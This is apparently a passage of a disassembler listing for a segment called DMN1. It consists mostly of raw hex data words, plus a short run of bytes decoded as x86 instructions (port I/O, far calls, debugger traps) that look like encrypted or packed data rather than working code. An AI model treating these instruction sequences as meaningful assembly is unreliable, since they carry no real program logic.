		dd 0CEE5EF2Eh, 0EE888735h, 7E7A8621h, 63002BCDh, 899398ECh
		dd 6F8072F7h, 59572024h, 627F7ADDh, 0AAE73AB2h,	21C6798Ch
		dd 42D8204Ch, 11FC56BAh, 3E09213Fh, 799AE0C3h, 0A25195BBh
		dd 3DFE354Ch, 0CD64760h, 185B808h, 8A7A07FBh, 7CD334Bh
		dd 0FC43654h, 0E86B8A10h, 0B958F2D1h, 5C5DE0BAh, 3BC12532h
		dd 44A2E300h, 4B601743h, 99590E89h, 1FDB397Bh, 7CC1CC44h
		dd 278482D6h, 68830AD0h, 84041364h, 50022504h, 0E5E3D51h
		dd 47B3FFB5h, 0E240F7Bh, 7BD91A9Dh, 0A2464A96h,	42B8CAE0h
		dd 5D520747h, 0D1EBC196h, 0AA406770h, 5D1A6F2h,	0EDBBA254h
		dd 0C182E9ABh, 405D120Ch, 7AA23EB5h, 7A3C83A8h,	1C5F1E38h
		dd 0BD5D06CBh, 8E814996h, 635B333Ah, 0F8BDB359h, 5D075B90h
		dd 0B2825B3Eh, 0F435CAF3h, 0EACA366Fh, 1D78AB3Bh, 0AC138A5Dh
		dd 633C66A1h, 0E280B6D8h, 901582F5h, 20EA0B26h,	24AAE4BBh
		dd 987F5FB9h, 0EA4751BCh, 1565E17Dh, 9296BCF9h,	0B5DCF2D2h
		dd 52474944h, 25172B21h, 5F00AB2Eh, 9B681730h, 93543F54h
		dd 20524DDh, 6679E68Eh,	0AFEF49F9h, 0E34F4F43h,	374A5426h
		dd 65AE3606h, 0E07AB735h, 6A177C78h, 445173F6h,	41AA2AF8h
		dd 7B43D8E5h, 5CDB1C7Eh, 0DEAEDF7Fh, 0AA37D712h, 0C57A3942h
		dd 261B0562h, 521ED7D7h, 69F86F27h, 9DEE96B4h, 0C0614735h
		dd 0C0277AF2h, 5278B7B9h, 111E7DE4h, 38DD43ACh,	0EBCE52AEh
		dd 61F0FCC8h, 1082280Ch, 0E9EA89DCh, 0E7B485B1h, 475FA1A0h
		dd 0A66E89E1h, 62899693h, 0D736E297h, 0F443E149h, 92F184DAh
		dd 3BD657B0h, 7E41017Fh, 0A989BBDFh, 9ECF9822h,	5CA474AEh
		dd 1CA918B6h, 0F524AA8Bh, 0DFEB1D4Fh, 0C2A9BD62h, 6BE306C6h
		dd 0DC7226Ah, 4C46E3D4h, 0BA297B36h, 0B5DC42DCh, 426A5BF0h
		dd 7C6E7A3Bh, 13FA7E84h, 68B86D9Bh, 0E92244EEh,	0F5169AACh
		dd 416828ACh, 6D46B474h, 0CA254C12h, 19F56D12h,	0A686A526h
		dd 0EDC617D1h, 0C4C4FEF6h, 0C0DDB27Bh, 81A8F38Ch, 1036D117h
		dd 0B84CFE90h, 0E768699Dh, 0F4C1A03Ch, 0BB6F0EB4h, 75DA0552h
		dd 0D9DF65F5h, 0F5DD78DDh, 0C1CE8230h, 0FA5A69C1h, 83696940h
		dd 6F2E364Eh, 0AC6D9BFBh, 72764B87h, 0C1BF372Bh, 39EF0EAEh
		dd 5BED951Fh, 9C1EAD40h, 0DBD5135Bh, 0E384907Ch, 40E530B3h
		dd 0A57840C6h, 79819A39h, 9E1FFEDBh, 81C73079h,	7711B83Ch
		dd 84CD5889h, 14F2E8D4h, 0E15CEEE8h, 3FB9F826h,	5727F66Bh
		dd 3051797Ch, 0CC75CFCBh, 62C48E66h, 0BB3CF54Bh, 4850F3Ch
		dd 968802EEh, 7E0C9478h, 0F58C3A3Dh, 0D5B7F24Ah, 0E88A1EA9h
		dd 5B8F2DB0h, 5569270Eh, 327240B4h, 9B8AE2C3h, 5EC4C2F7h
		dd 5A878E0Fh, 3305EC89h, 554F5A35h, 32255B9h, 2C1BD237h
		dd 63C714F0h, 0CB203CC3h, 0B8FC10CAh, 0E2E718E6h, 8F08A0B0h
		dd 78598FA3h, 0E59604CFh, 0EC8A2412h, 5446B3ABh, 63368BD4h
		dd 6B6608F3h, 0B4F18BFDh, 0AF9FD67Bh, 0AB4A6924h, 0C778D779h
		dd 0C663602Ah, 4EB4E2EDh, 3493543Eh, 5C28878Bh,	881B4239h
		dd 657E221h, 78FF5F30h,	37DC6047h, 3C5471B7h, 3BDDB8B0h
		dd 6EF2BFD8h, 983EE236h, 1C557F3Fh, 0EC72F612h,	21E71F57h
		dd 6B4F0A65h, 0EC7438C5h, 0B0450BC2h, 3B59D5F4h, 815FAA59h
		dd 0B38F9BD0h, 7D74CD52h, 4D084FCh, 74F81DEEh, 0F3D3B9EBh
		dd 7583C82Bh, 1236DD1Bh, 0A17B2BEFh, 0F01F4841h, 90052D0Eh
		dd 7ED70040h, 5884BA79h, 0DC55DBAh, 0D5D6152h, 6B2425A0h
		dd 0A467194Dh, 2770EB9Ch, 4B5ADACAh, 5DB7A74Ah,	0BB2C4E43h
		dd 96A1670Eh, 34EB9F4Ch, 0B77FB6EFh, 247F84DBh,	9978CA3Eh
		dd 0C158885h, 75A1BA09h, 8680604Eh, 3C6994h, 88FAD9BBh
		dd 321F0C74h, 0A0C0C12Ah, 7B25E0CCh, 0D5114935h, 1D93A973h
		dd 28F146A2h, 18D57643h, 3BEF4D2Ah, 0E7FA5848h,	0FCFEEFFFh
		dd 324ED011h, 0F353E830h, 0FAD5F7BEh, 0E45EF1CEh, 39076E54h
		dd 75C034E2h, 0F45E3546h, 4B1327CCh, 31A32000h,	0E9CB6A07h
		dd 0E1AE0705h, 558C8D77h, 79B1D591h, 446153F1h,	72ECF067h
		dd 0A5CBC91Fh, 3BD5266Dh, 399B3FC4h, 5B5F2356h,	2494B560h
		dd 0C679ECBFh, 0CAE75611h, 5014EC14h, 0A87ABE3Ch, 6C792A01h
		dd 91C85619h, 43B63FE4h, 0E8ABE29Bh, 0A20DCD17h, 0DC8AC048h
		dd 46676560h, 89D0306Dh, 0C60E8C10h, 0D93E66D7h, 0F1ADEC2Dh
		dd 6477B408h, 0DA414144h, 99E2CAECh, 0F3A97FF4h, 652D79C9h
		dd 0C2127F36h, 6F5B8CDh, 8ECAC05h, 73AA95EFh, 0B1DEAADCh
		dd 584084BFh, 0B4683E51h, 7C86C4F7h, 0C352DDFCh, 9E7F9BFBh
		dd 18398015h, 63304682h, 15944276h, 3E7D5AE9h, 19A3458Fh
		dd 0C940DF94h, 75BA6E6Fh, 8BB39ECFh, 1BE696C6h,	8215AD48h
		dd 0D671D089h, 677E979Eh, 4B5ADC94h, 0D6DF6722h, 0ECB18043h
		dd 92CBC6F2h, 0F93B551Fh, 51DA6FA6h, 69DFCF7Ch,	97498B79h
		dd 0B047B4EAh, 856F0AABh, 0EE554743h, 74FE6721h, 0E79218h
		dd 0F1F061A2h, 0A8404AB0h, 0F15BBD8Ah, 0E7DA214Eh, 1DA5D731h
		dd 33529657h, 8B90035Ah, 5998C1Bh, 0ED0A150Ah, 69E6E42Eh
		dd 0E98238D7h, 0C2FA7FA2h, 696E78A8h, 982A4D08h, 0B49F89B1h
		dd 0F169D701h, 5E98157Bh, 0D06D501Dh, 0ABAA7BA5h, 13986BD6h
		dd 87568445h, 7BEE0E7Fh, 0D0B47A54h, 0EE064934h, 2F4952C8h
		dd 9783C94h, 4228A1Bh, 6D14B4E1h, 0BF8132E7h, 0CB7C5108h
		dd 71EF6ED2h, 0C95361CFh, 0CFF8BABBh, 34E10C55h, 0CABF7F67h
		dd 0E261673Fh, 6C429149h, 7F69BC12h, 0DE8B9A70h, 6753500Dh
		dd 0B7729510h, 0A49B74D6h, 0F7A0E8C3h, 7BCECD86h, 8F4EBA60h
		dd 18BE9FD1h, 0FA716B4Ch, 0C1B9FD64h, 4B52516Ah, 63006CB0h
		dd 2B299C98h, 66CDB07h,	0D2DF68B1h, 0DC220D7Ch,	4E06FA1h
		dd 0B3CBFB02h, 67DAE907h, 3FDE228Fh, 0C1D76788h, 0F6EF6B10h
		dd 20ABDAE6h, 7E6865DDh, 5DF8BC7Bh, 0CFF1AA3Eh,	3812B369h
		dd 0E4F849F4h, 0AD8B503Eh, 0FBE04A1Fh, 0D13665B4h, 0D8FCA6A7h
		dd 8DF9CF35h, 0ABAD078Dh, 97E0BEE1h, 0B3F78503h, 8B87ABCBh
		dd 0ABEEE0D3h, 8CBC1DE5h, 0A38F5D93h, 8DBABA76h, 33350991h
		dd 0BE65DC41h, 6FC3BB77h, 0E9032A6Eh, 0F09B69BCh, 5F8785AAh
		dd 0A0614882h, 0C0A6EE38h, 1DBB0D23h, 0AD110588h, 732A987h
		dd 32DCDD32h, 74ACF501h, 738D0B00h, 0DF2E281Eh,	750743DDh
		dd 0EE4158D1h, 0B67BDE1Bh, 89E1C2CAh, 8A3C0F06h, 3C897B97h
		dd 833A9BA1h, 4080CDA3h, 76E25143h, 4568C49Eh, 0DB0C3E20h
		dd 7CE0BC9Ch, 2C5A3CFBh, 0E881EB63h, 75495FCh, 0E9F58F64h
		dd 0B3547F69h, 1F255C58h, 893DA8C0h, 0A1591643h, 58576D6Ch
		dd 22A5F6A0h, 279228A3h, 6FB565EFh, 1AD9CF30h, 97262C4Ch
		dd 0E9250F65h, 7278039Fh, 79B0277Ah, 2A036220h,	0BA8309AFh
		dd 41240165h, 0C3D878B8h
		dd 434575ADh, 1DFE56B3h, 0E81BEDAFh, 0F2BEA8D0h, 0FF8B2440h
		dd 6DBEBA8Fh, 44768F95h, 0A7D92915h, 0B6240E80h, 9E009220h
		dd 9C082E6Bh, 139E8C8h,	74002187h, 5DBDA65Dh, 0CF103B82h
		dd 0A116C002h, 84C57528h, 0B6D9BE9Bh, 90CF4048h, 11418171h
		dd 0C3663AD1h, 5CAC9465h, 0F2C9DF2Dh, 17D8AC58h, 9AD63C3Bh
		dd 0C9B951A5h, 3A3C5130h, 79EDFBACh, 0FD45991Ah, 8768A8CFh
		dd 1FC5E159h, 578AF9E9h, 244EBC8Fh, 8465C8FEh, 6670714Eh
		dd 4BEE4A05h, 0E60954h,	0A53B4324h, 0F069FE30h,	3B2854E3h
		dd 0C7566DF0h, 7625044Ah, 0D3E43F3Dh, 0F9AD1C67h, 7A463B3Fh
		dd 33B4111Ch, 5AE03A8h,	0F253699Ch, 25F26F9Ch, 0E1B62F3h
		dd 30907060h, 20994965h, 0F5829768h, 0C6CC7EA0h, 0E04B4E71h
		dd 139B20F3h, 0B23CC990h, 824EB7Ch, 8B4EC5F9h, 0BBA26DA4h
		dd 0C94247FDh, 3FE87B3Ah, 39350483h, 9F554F29h,	0EA168F9Ch
		dd 96B6967Ah, 64C42352h, 9C53A210h, 9AAFF018h, 0EF026739h
		dd 5463334Ch, 7C5E2886h, 547CC196h, 0D91B8407h,	9CB1E5BBh
		dd 0B49F537Ah, 0E70B2ED5h, 10F0782Fh, 90BBC40h,	550B15CBh
		dd 49F2C59Bh, 9CF73EA5h, 1C8C0CB5h, 0CA0BE70Ch,	0E4235E34h
		dd 1F265F67h, 15176059h, 0E3234BFCh, 674551DDh,	5EA8F2CAh
		dd 0DA79B8EFh, 856E2B8Bh, 0DA777273h, 956EF534h, 78DD92DAh
		dd 0A53D46D3h, 6145E6E0h, 3E923402h, 35A60F48h,	0DAF0C6FBh
		dd 8AEC6805h, 1CDBEB11h, 0A147A00Fh, 350F77F5h,	0C14830B3h
		dd 32591594h, 0D516B715h, 0A8238690h, 99255DD0h, 807E2D95h
		dd 0F1261B8Ch, 0C2E91274h, 0E244A8ADh, 978D0F4Bh, 0A439AC5Eh
		dd 98CB15B7h, 7942104Fh, 9F8026D4h, 8CE6EEF2h, 120726E4h
		dd 0FA9FB2EEh, 0D3F73DD3h, 98580985h, 0A2839787h, 85A68BDBh
		dd 36DC6B4Dh, 0E8A74ADCh, 4C564C45h, 5B47BEFAh,	0D4413058h
		dd 94F63C5h, 0A31EC5AAh, 0DAAEA8ABh, 10535759h,	0A0F3CA1Dh
		dd 0A284E2Dh, 0F2D2D655h, 6B8B1174h, 251ADA3Ch,	266DC80Eh
		dd 0F9A3C723h, 1B05FA4Eh, 0BA538CFAh, 0DD40FB71h, 4435948Ah
		dd 40CD0A41h, 9B0F5B5Bh, 0B9FB0443h, 0C46ED345h, 0E678159Ch
		dd 0BCFD9F05h, 4F120C29h, 9C1CDAC5h, 9C993F9Dh,	0B9A83BD1h
		dd 0FCBC7617h, 0FE440233h, 166E16EFh, 0C25FAA31h, 5D16ED8Fh
		dd 3D9ED142h, 1D380881h, 0D9C12ED8h, 0AB46B30h,	0EB4A9A56h
		dd 2DFDF684h, 3A64E482h, 0CD9E39DDh, 4F300CB4h,	5D47C38Ch
		dd 0A78643FCh, 0E8FDAA9Ah, 93E5FFE0h, 88BCCF9Ah, 805DF083h
		dd 9FBB0F9h, 2BE91D7Dh,	0CEA9A986h, 0D9799DD2h,	8E0A38E4h
		dd 2CBC69F3h, 71E023Eh,	25DC75B7h, 34917CEFh, 0E60D9A9Dh
		dd 92B292A3h, 0AA5038ABh, 1FE3EC13h, 4E1EE9AAh,	202248DDh
		dd 0ABC52EC8h, 2ACF07D0h, 0C577579Bh, 8F21B80Ch, 2A87F6ADh
		dd 168A190Eh, 43BD5BC0h, 44A41A76h, 0E97762D8h,	89406F23h
		dd 6E1490EBh, 445841FDh, 689BA2E7h, 0C371B433h,	72008077h
		dd 742B145Ah, 0C08A2D8Ah, 93B74581h, 445D25D4h,	46A442C2h
		dd 9D631DF2h, 36ECCB0Eh, 5814AFF5h, 0EF8515FDh,	56845263h
		dd 1B1184CDh, 0F1C5285Dh, 0F2244889h, 0B5025976h, 45E5660Ah
		dd 111AA808h, 35C6830h,	550921C1h, 6DC990ABh, 9BFA8DBh
		dd 1F532C4Ch, 0EC4B42F2h, 0F05CE796h, 3C2705h, 0FC8F7ED2h
		dd 0C715BD9Fh, 0F0EA092h, 71B9D9C4h, 3CB9CD51h,	6FBBBC82h
		dd 9BD2D644h, 0F066E7Fh, 8E066C45h, 0DDBE973Fh,	0DAD61DE2h
		dd 0E822839Fh, 0B1755E33h, 8058933h, 49F9313Ah,	8EF88BF6h
		dd 546F3954h, 0DB2B609Ch, 519E9AF4h, 7C89C29Dh,	0F51744B6h
		dd 73BB6CCAh, 0D041A83h, 46D09B8Eh, 0A8F77EC9h,	0A517AD81h
		dd 0DC189602h, 33157C09h, 7A816C88h, 0CC5E6149h, 69AD166Fh
		dd 0C337A2AFh, 8752E7CBh, 5C5E9A06h, 5A5AA9D8h,	9505E7F0h
		dd 0ACAD0904h, 5F398D96h, 0A1FDC098h, 0FD081C8Ch, 89F00EAFh
		dd 3A950DEEh, 8610E4DBh, 1EFAAE65h, 235F8948h, 3A03D03Fh
		dd 0FC083375h, 0B8FCD5C2h, 3C522602h, 0E0038857h, 0D244D0F2h
		dd 0E5B8B6DEh, 9B5502FAh, 0A65B13D9h, 1E82BA90h, 68D29728h
		dd 3A6DB5F5h, 833B838Bh, 99D90E15h, 388535FDh, 0E6DA6B18h
		dd 58D979DBh, 66E31541h, 935DE01Ch, 90BEB1D0h, 0A3FABD63h
		dd 3E2735Fh, 0AD14CF4Dh, 60EA75E3h, 0EEB2534Bh,	0B8B14D61h
		dd 2BD716DBh, 0F8FAF1FFh, 0CBF6501h, 9767230h, 90DBF4B7h
		dd 60F263F4h, 0F60D3D79h, 23922180h, 2A4E5950h,	44B96B1Bh
		dd 0B3088367h, 0D68BB60Eh, 87997C7Ch, 77063AF8h, 7EFA4460h
		dd 6313E057h, 15E11A6Bh, 78713AA8h, 0CCB8C5BAh,	73310061h
		dd 210171A2h, 9EBB68B7h, 0BB389BC5h, 0FE4E6E1Eh, 0E132CD96h
		dd 5CB5F68Dh, 0E11DF39Ch, 0BE837012h, 82D258B9h, 0D0232602h
		dd 18FC85B0h, 0FC547044h, 655185C5h, 3F4ABEC5h,	0A94780EEh
		dd 0F7151ACDh, 0A68426FEh, 0A0D282CFh, 0F6D6D9ADh, 0BCBE7991h
		dd 0D6BBCF04h, 0EB86E8Ah, 0D138EA5Ch, 57704571h, 881D0CEBh
		dd 0ECBD027Eh, 9C0A488h, 6AC10DE6h, 0E8BCC67Dh,	2E5820DBh
		dd 4B90865Bh, 0FFE7E076h, 4D061C5h, 0CEC65010h,	55D92A4Fh
		dd 22010353h, 0C7FD3724h, 63F32336h, 56D244B9h,	0EB8809A0h
		dd 8579E924h, 211F1791h, 988FC19Dh, 16AF5C5Bh, 9EE3FF8Ch
		dd 0EB9B859Eh, 0D8EE153Ch, 0F4F190C6h, 88E2C810h, 8D104C4Ch
		dd 0F36B49B5h, 4D6E9479h, 36192125h, 1C378F3Ch,	0E5432765h
		dd 58EB52D8h, 554B2B32h, 459F2C5Bh, 0E2F32D71h,	0D485D8E5h
		dd 75587374h, 0B9AEC164h, 3301BBC9h, 76B95Bh, 0E09CF80Bh
		dd 0C0AF1BDFh, 0A2BD244Ch, 0BEC42240h, 9329376Eh, 9F2B992Dh
		dd 0C83267ACh, 0CC69961Ch, 0BC5F3A70h, 0CF556E38h, 95974CCh
		dd 0AE33640Bh, 0DA7E9D63h, 0F0E5D9DFh, 0D6A7CC95h, 9850F374h
		dd 0CBF84D34h, 0B91317A0h, 323FE454h, 0D5D1DB11h, 949012E2h
		dd 0ACFF270Ch, 0A555096Eh, 34E5AF6Bh, 15F83D57h, 8AD7882Bh
		dd 0EFB90CFEh, 0CDAE711Fh, 40626CA9h, 2055B4DCh, 916FA968h
		dd 0E65C694h, 99416DEEh, 0EB02972Dh, 61D49AF5h,	7B4E6CCAh
		dd 16BB7C6Ah, 0FBCED506h, 0BDE3CDB3h, 769AE37Eh, 71538E98h
		dd 3A33A830h, 7C8B646Ah, 58DA4A07h, 0FC31E5B3h,	64F895E8h
		dd 0ED3B0862h, 1E8DF4A3h, 3F09AFBFh, 88AF3680h,	7981EA64h
		dd 2E271B5Bh, 5F7D86F8h, 1FD9E093h, 0B9AC50FCh,	0F4A162D8h
		dd 133219BCh, 996B43DBh, 0FDAD7FF9h, 15A70633h,	0E6710ED8h
		dd 890A2B4Fh, 1A997CA4h, 987D766Dh, 0BD2429C1h,	0F439DBA9h
		dd 428EB2F4h, 0F944EAC8h, 9BF102CCh, 1926B303h,	0E8B03927h
		dd 0EC4D332Fh, 864F0A71h, 0DDC489BCh, 74E25E0Bh, 0AD9BB86Fh
		dd 0F9E531A4h, 0FCBD0FF2h, 2C2B01AAh, 30AD45C6h, 0F37E354Bh
		dd 0DB8BAED6h, 76B105F0h, 0D23D6EA4h, 0D25E3178h, 73502903h
		dd 3F797459h, 4BD11884h, 0EAE3C7BDh, 0FDA3A8B9h, 0B3349E40h
		dd 0F8748790h, 77E8497Eh, 0F4B09F51h, 0AB2AF44Fh, 20ABC66Ah
		dd 84B36514h, 201234F9h, 7B94BE67h, 0F799BB90h,	0F229B341h
		dd 65A7797Fh, 3B2A7933h, 0F27BE777h, 0A2390FD0h, 26E0A653h
		dd 0F3A8AAEh, 9FB91222h, 0A018DC46h, 42A76BAAh,	80549FF4h
		dd 0E563C219h, 0B4C4EA37h, 36BDBCB3h, 1E1C57CCh, 36B80296h
		dd 73353AE6h, 37756EE6h, 59557A13h, 0F429777Fh,	1FA9D88Ch
		dd 40A4EAB7h, 0E6586A9Fh, 0BFA2F3DCh, 0D5EF4D5Ah, 971811A7h
		dd 65A4BCB1h, 556AFF4Bh
		dd 0E3A48770h, 4A2B406Dh, 6B8289C1h, 0CB74DB5h,	9F71FE37h
		dd 0F552005Dh, 5DFDDE3Ah, 6FC2FA77h, 47B9807Eh,	0C8E0A44Dh
		dd 0AD850A0Ch, 0DE960372h, 9E0DCDA7h, 0DE6AFDDDh, 0DB44DBFBh
		dd 0C48FB0FBh, 51D5DBEFh, 6FE1BBC5h, 7CD67555h,	4E6F25EBh
		dd 56395263h, 37521A1Eh, 477F7A5Eh, 0AA73E91Ch,	0BA2FF20h
		dd 22A2DA74h, 1DF8E28Ah, 0DEF28982h, 0E28A6D4Ah, 1E78332Dh
		dd 0F138D5B3h, 3D0AB233h, 3A3C551Dh, 0A5D66EDFh, 47D45C4Ch
		dd 0FD52CCF2h, 1B992C7Ch, 7FAB985Fh, 1CCC6B5Dh,	4CBA29EAh
		dd 6299D6E5h, 3F812B56h, 0BA2A490Bh, 83B8A48Fh,	0E91BF47Fh
		dd 0D1DC9A7Ah, 0C1315298h, 8EFE9F2Dh, 0F318F387h, 56914400h
		dd 0E5F614D6h, 0D3FFB4A6h, 0A8918249h, 466317A1h, 0EC1BE1D0h
		dd 5F6553F0h, 5502758Ch, 127C4820h, 9F536B45h, 241EBE41h
		dd 0CA166F0Ah, 0CA7CC021h, 32FF2DF2h, 9D859D03h, 5CC26186h
		dd 6AF96D47h, 1B396782h, 0AB5B3C80h, 36F81860h,	0FEB9054Eh
		dd 0DDCA4CEBh, 1D68C83Fh, 923E84DBh, 50C60E9Eh,	86E17B72h
		dd 0DAEB18C7h, 0AE60CA04h, 0A0D5D4Eh, 6F0ACF35h, 17B36D81h
		dd 2B3C3611h, 8E7BAD84h, 1D61321Ah, 0EB84F61Dh,	0F555C1EBh
		dd 8F7834B6h, 0B1776390h, 947E4D3Fh, 0BF594313h, 4A2B0CE9h
		dd 0C1F488D9h, 71A66959h, 9C36F4Ah, 7C070534h, 33C0CFB1h
		dd 0FBEF1E3Bh, 156862D5h, 0BBA20D6Fh, 7ACCDBC5h, 1E57695Fh
		dd 37952338h, 34AD1293h, 6D33D09Ch, 393747F1h, 1091BAE3h
		dd 20E061B7h, 460867A1h, 186FBFA0h, 710C17CAh, 1D052E71h
		dd 66C76AB9h, 0B6F787D4h, 36724F04h, 0A60A2E11h, 9D4178A9h
		dd 83888EE1h, 0CAA1E19Bh, 3E2964E5h, 0F69ADAA2h, 0E11B6026h
		dd 954B6681h, 7AE5BDA7h, 57E2D36Bh, 0A713F402h,	610CAAEEh
		dd 0FB38C6DEh, 0A0602264h, 473AAC2Ch, 8F6B65DDh, 8449AAA4h
		dd 0FA6C6C9Ch, 2F4ECD67h, 4E82CB25h, 0C3ACB7E5h, 6CE77F93h
		dd 483067A6h, 8357FA55h, 0A23F49C3h, 9DCDDC40h,	0BB9301BCh
		dd 24A9380Eh, 8CBC2284h, 3793629Bh, 0A9D52846h,	1CA1E77Bh
		dd 0E716D4A5h, 0B468B863h, 34CF2CEBh, 7D5C1767h, 0C7A98459h
		dd 5B2C32F2h, 17DBE769h, 0A070ADB0h, 41A41E12h,	9001FF55h
		dd 5C59FB7Bh, 50DAE80Fh, 0E344FB70h, 555B2D27h,	141427BDh
		dd 0FC4251F6h, 0BAD38730h, 0A6F7E5EAh, 6CE52B4h, 0CF62260Eh
		dd 1F32A109h, 7C3F4EF9h, 0A21F080Eh, 0CD986B09h, 56BC704Bh
		dd 254F5CB5h, 32F4742Ah, 7C03EA82h, 51984414h, 30CC9A9h
		dd 7222BCB2h, 4A231FE4h, 6A1C30DAh, 0FE9DE029h,	9A3997BAh
		dd 0EC4E3ED5h, 0E2B8EA7h, 447EA127h, 591BABA2h,	2C1ABC0h
		dd 9F2470F2h, 8BE1BC17h, 8EA501AEh, 0DE1791E7h,	7697DFB1h
		dd 0D2502DA8h, 8EFCE191h, 74284C00h, 0EB3FDCDAh, 0F4595600h
		dd 0ABFF4472h, 0E9C1D8DEh, 0CC971BCDh, 0DD97B022h, 0DA024DD4h
		dd 859FB650h, 68ADC173h, 74B67672h, 3AD09651h, 0F0D47095h
		dd 0D4DDB34Ah, 4A736A4Eh, 0EF154FC5h, 0EC716F83h, 1FE34D58h
		dd 11BC0775h, 49A52EEBh, 595D70C2h, 1CD8929Fh, 47A1EA9Ah
		dd 262FAEE7h, 0E126DED8h, 409D5E37h, 5FB1FE3Fh,	0AFB4CB7Dh
		dd 0D1F264A2h, 873328D5h, 0BF3F91B3h, 0DCA439F2h, 0F56E8769h
		dd 0F01B1DDFh, 0F822C2DDh, 0E5E3FAC3h, 0DF62E69Eh, 0B67E7Fh
		dd 9BDCC9CCh, 608CE5Dh,	53B8517Bh, 0A41D0A45h, 1A79331Ch
		dd 9A871E92h, 0DB5BD0FCh, 8D144F94h, 73C1FE8Bh,	0A8AD1E61h
; ---------------------------------------------------------------------------
		scasd
		or	edi, [eax]


loc_467A0F:				; CODE XREF: DMN1:00468827j
		pop	esi
		imul	byte ptr [esi+13B82AF1h]
		mov	ecx, 43641D8Ah
		xor	[eax-65775BF9h], edx
		and	eax, 2BC73838h
		fstp	tbyte ptr [edi]
		sbb	al, 0A3h
		in	eax, dx
		xchg	bh, cl
		or	al, 2Ah
		lds	edi, [ebp+60h]
		mov	al, 28h
		outsb
		out	0DAh, eax
		in	al, 51h
		dec	esp
		inc	edx
		add	ch, [edi]
		cmp	eax, 3D5B755Dh
		push	ss
		call	far ptr	2C82h:596ABD5Fh
		pop	es
		pop	es
		cmp	[ebp+64h], eax
		cmp	ch, [ecx+7Eh]
		into
		jmp	far ptr	1613h:5B79E71Bh
; ---------------------------------------------------------------------------
		dw 6360h
; ---------------------------------------------------------------------------
		stosd
		inc	ecx
		js	short loc_467AAD
		imul	ebx, [eax-7Dh],	77451524h
		or	eax, 95F5821Dh
		les	edx, [esi]
		stosb
		xor	[edx+63A5349Ah], dl
		sub	edx, ebp
		stosd
		or	bh, al
		retf	0FFBh
; ---------------------------------------------------------------------------
		db 88h,	13h, 3Eh
		dd 0A737BE03h, 799D46D1h, 0E22EB286h, 0AD800F73h, 0F822012Eh
		dd 7A023944h, 0B7198ECFh, 24CFF357h, 0BA64F8F6h, 0E2123448h
		dd 9FF3591Eh
		db 0C2h
; ---------------------------------------------------------------------------


loc_467AAD:				; CODE XREF: DMN1:00467A5Ej
		xchg	dh, [ebp+4Eh]
		mov	ds:85F666CCh, al
		and	al, 30h
		inc	edi
		mov	edx, 200EF2B2h
		cmp	al, 3Ah
		in	al, dx
		and	byte ptr [edi-46h], 1Ah
		mov	es, word ptr [ecx]
		rcr	dword ptr [eax], 82h
		inc	esp
		int	3		; Trap to Debugger
		and	bl, [eax+2FACACEDh]
		lahf
		adc	al, 4Dh
		loope	loc_467AEA
		mov	ecx, 4DD7FE8Fh
		popa
		pop	es
		retf
; ---------------------------------------------------------------------------
		sub	eax, 0A8C15611h
		retf
; ---------------------------------------------------------------------------
		dd 8746EE9h
		db 16h,	0E8h
; ---------------------------------------------------------------------------


loc_467AEA:				; CODE XREF: DMN1:00467AD4j
		fisubr	dword ptr [eax+esi*8+49CCC2E7h]
		sahf
		inc	ebx
		aam	0B9h
		add	eax, 59FF3436h
		xchg	eax, ecx
		pusha
		js	short loc_467B0A
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dd 3D822ABAh, 5799E22Eh
		db 65h,	0C2h
; ---------------------------------------------------------------------------


loc_467B0A:				; CODE XREF: DMN1:00467AFCj
		call	near ptr 3E5F9CB8h
		mov	cl, 53h
		pop	esi
		mov	[esi+esi], ebp
; ---------------------------------------------------------------------------
		db 8Fh,	4Ch, 0E0h
		dd 0C83C3B3Ch, 50B45D0h, 1EAA7D83h, 1FA6B340h, 386ED2Dh
		dd 0B69AE920h, 6D927509h, 392391Ch, 63BC4C8Ah, 238A4738h
		dd 4B49D977h, 0ADF52343h, 6ED51072h, 523449B1h,	45BD096Dh
		dd 74FB3D8Ah, 5A3BD016h, 8D6845A3h, 3740DB2Dh, 819849E1h
		dd 0C1FC52A9h, 97F2E73h, 0E524839Eh, 0FA99AADCh, 5C64FB1Ch
		dd 0BCBFA898h, 187431CCh, 0F83C168Eh, 0FA912439h, 586BA8DBh
		dd 9F29DA82h, 82C5570Fh, 49B8AB0Ch, 8476607Ah, 7049E4A6h
		dd 929B958Bh, 9E2E927h,	25F19B11h, 4EC7A157h, 0B2C738ACh
		dd 7BC4A303h, 3553DC11h, 16487817h, 21A6B387h, 898B4AE0h
		dd 53891C5Ah, 3019C1A0h, 47075040h, 3EA0E5DBh, 0B8909B2Eh
		dd 0B3D92225h, 2D6386FFh, 6C2ABC81h, 635E34FEh,	7218469Ch
		dd 0C08D28ABh, 437534D2h, 7D081C08h, 1FC4B128h,	88BCD848h
		dd 0A6B12657h, 5DE7641h, 92D885B6h, 14AF719Bh, 4F744464h
		dd 0B4B971F3h, 72CF6125h, 0DB214D73h, 2A515717h, 0E24CD8Ah
		dd 102B24h, 0D968DC3Bh,	26F53811h, 5E079739h, 9E45912Eh
		dd 0DC81C9B7h, 60916F96h, 0B0EEA060h, 513F9646h, 2C1F7D6Ah
		dd 704EBCAAh, 3943F9EBh, 0A39574Fh, 9F518E84h, 73E6104Dh
		dd 508E6C08h, 132F60A5h, 0C45477E5h, 9FE5853Ah,	86012FB5h
		dd 411A62ECh, 89FF1931h, 0E509811h, 432FF7D8h, 0EB3B100Fh
		dd 35AAFC9h, 0A45EAF21h, 0B2E6315Ch, 0A5E85A1Ah, 226B61F6h
		dd 0E2F56049h, 3D00A1BEh, 3D7B1CB9h, 46DA1AD0h,	0C246C2BBh
		dd 374065F7h, 0CCEE357Eh, 25445C10h, 0C9E57F54h, 0EBDE5363h
		dd 0F0202335h, 0D81020E1h, 0AEF88A30h, 0E960CF8h, 8AC6FF46h
		dd 8E7A5C2Dh, 0BF214820h, 38EC7B36h, 0A26122ECh, 17825366h
		dd 31974B80h, 0F8C88053h, 18B9E611h, 0E1B1B770h, 0ECC43E54h
		dd 0F5325B42h, 55C69DB5h, 0A51E85CFh, 0A6CE143Bh, 0D4E9746Bh
		dd 13CD648Bh, 121846FEh, 2301C69Eh, 8CD05589h, 0BAF7398Dh
		dd 80E2FDEFh, 12E03088h, 156C942Dh, 60095CECh, 0CC2297DCh
		dd 3B6A1A59h, 58695201h, 0F9597640h, 63DA459Dh,	241169E5h
		dd 280F05DEh, 9FE4ED8Eh, 0AD337853h, 0A33CF763h, 0C8672AA6h
		dd 97ECCAD8h, 0F6129B51h, 2DFD4526h, 0C4E49326h, 3C051239h
